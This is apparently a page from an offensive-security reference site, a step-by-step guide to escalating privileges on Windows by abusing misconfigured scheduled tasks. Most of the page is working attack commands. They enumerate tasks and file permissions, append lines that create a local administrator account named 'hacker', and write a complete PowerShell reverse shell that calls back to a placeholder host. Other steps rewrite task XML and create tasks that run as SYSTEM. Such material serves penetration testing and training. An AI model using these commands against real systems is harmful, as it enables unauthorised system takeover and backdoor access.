# Windows Scheduled Task Abuse for Privilege Escalation

> Exploiting misconfigured Windows Scheduled Tasks to escalate privileges by hijacking task binaries, weak permissions, and DLL sideloading techniques.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/scheduled-task-abuse
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-14

Windows Task Scheduler runs tasks as SYSTEM, Administrator, or other privileged accounts on a schedule. If a task runs a script or binary you can write to, or if the task definition itself is modifiable, you can execute arbitrary code as the task's user. This is the Windows equivalent of cron job abuse on Linux.

## Prerequisites Check

```bash
whoami /all
```

List all scheduled tasks with full details:

```bash
schtasks /query /fo LIST /v > C:\Windows\Temp\tasks.txt
type C:\Windows\Temp\tasks.txt
```

Shorter overview:

```bash
schtasks /query /fo TABLE /nh
```

## Step 1: Find Tasks for Scheduled Task Privilege Escalation

Focus on tasks that:

- Run as `SYSTEM`, `Administrator`, or a privileged user
- Execute a script or binary in a non-system directory
- Have a schedule that fires automatically

```powershell
# Tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "run as\|task to run\|status"

# PowerShell: more detailed
Get-ScheduledTask | Where-Object {$_.Principal.UserId -match "SYSTEM|Administrator"} | Select-Object TaskName, TaskPath, @{N="Action";E={$_.Actions.Execute}}
```

## Step 2: Find Writable Task Scripts or Binaries

Once you identify a high-value task, check the permissions of what it executes:

```bash
# Get the task action (what it runs)
schtasks /query /tn "\TaskName" /fo LIST /v | findstr "Task To Run"

# Check permissions on the executable or script
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To\task-binary.exe"

# Using accesschk
accesschk.exe -quvw "C:\Path\To\task-script.ps1" /accepteula
```

Look for `(W)`, `(M)`, or `(F)` for your user.

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-ModifiableScheduledTaskFile
```

## Step 3: Modify the Writable Script or Binary

**If the task runs a PowerShell script:**

```bash
# Append payload to existing script (preserves original function)
echo net user hacker Password123! /add >> C:\Tasks\backup.ps1
echo net localgroup administrators hacker /add >> C:\Tasks\backup.ps1
```

Or replace entirely with a reverse shell:

```powershell
# PowerShell reverse shell: write to the script
$payload = '$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
Set-Content "C:\Tasks\backup.ps1" $payload
```

**If the task runs a batch file:**

```bash
echo net user hacker Password123! /add > C:\Tasks\backup.bat
echo net localgroup administrators hacker /add >> C:\Tasks\backup.bat
```

**If the task runs an EXE in a writable location:**

```bash
copy /y C:\Windows\Temp\payload.exe C:\Tasks\backup.exe
```

## Step 4: Trigger the Task

Wait for the scheduled time, or trigger manually if you have permission:

```bash
# Run the task immediately
schtasks /run /tn "\TaskName"
```

If you cannot run it manually, check the schedule:

```bash
schtasks /query /tn "\TaskName" /fo LIST /v | findstr "Next Run Time\|Schedule Type\|Repeat"
```

## Step 5: Modify the Task Definition Directly (If Writable)

Task XML definitions are stored in:

```bash
C:\Windows\System32\Tasks
C:\Windows\SysWOW64\Tasks
```

Check if any task file is writable:

```bash
icacls C:\Windows\System32\Tasks\* 2>nul | findstr /v "NT AUTHORITY\|BUILTIN\|No mapping"
accesschk.exe -uwqs Users C:\Windows\System32\Tasks\ /accepteula 2>nul
```

If writable, read the XML, modify the `<Command>` or `<Arguments>` element, and save:

```powershell
$taskXml = Get-Content "C:\Windows\System32\Tasks\VulnerableTask" -Raw
$taskXml = $taskXml -replace '<Command>.*?</Command>', '<Command>net user hacker Password123! /add</Command>'
Set-Content "C:\Windows\System32\Tasks\VulnerableTask" $taskXml
```

## Creating a New Task (If Allowed)

If your user can create scheduled tasks, create one that runs as SYSTEM:

```bash
# Note: /ru SYSTEM requires elevation on modern Windows: check if allowed
schtasks /create /tn "privesc" /tr "net user hacker Password123! /add" /sc once /st 00:00 /ru SYSTEM /f

# If not allowed as SYSTEM, create as current user and chain to another vector
schtasks /create /tn "privesc" /tr "C:\Windows\Temp\shell.exe" /sc once /st 00:00 /f
```

## References

- [Task Scheduler Reference](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-reference) - Microsoft Docs Task XML schema, principal settings, and action types.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - Get-ModifiableScheduledTaskFile Automated scheduled task write permission detection.
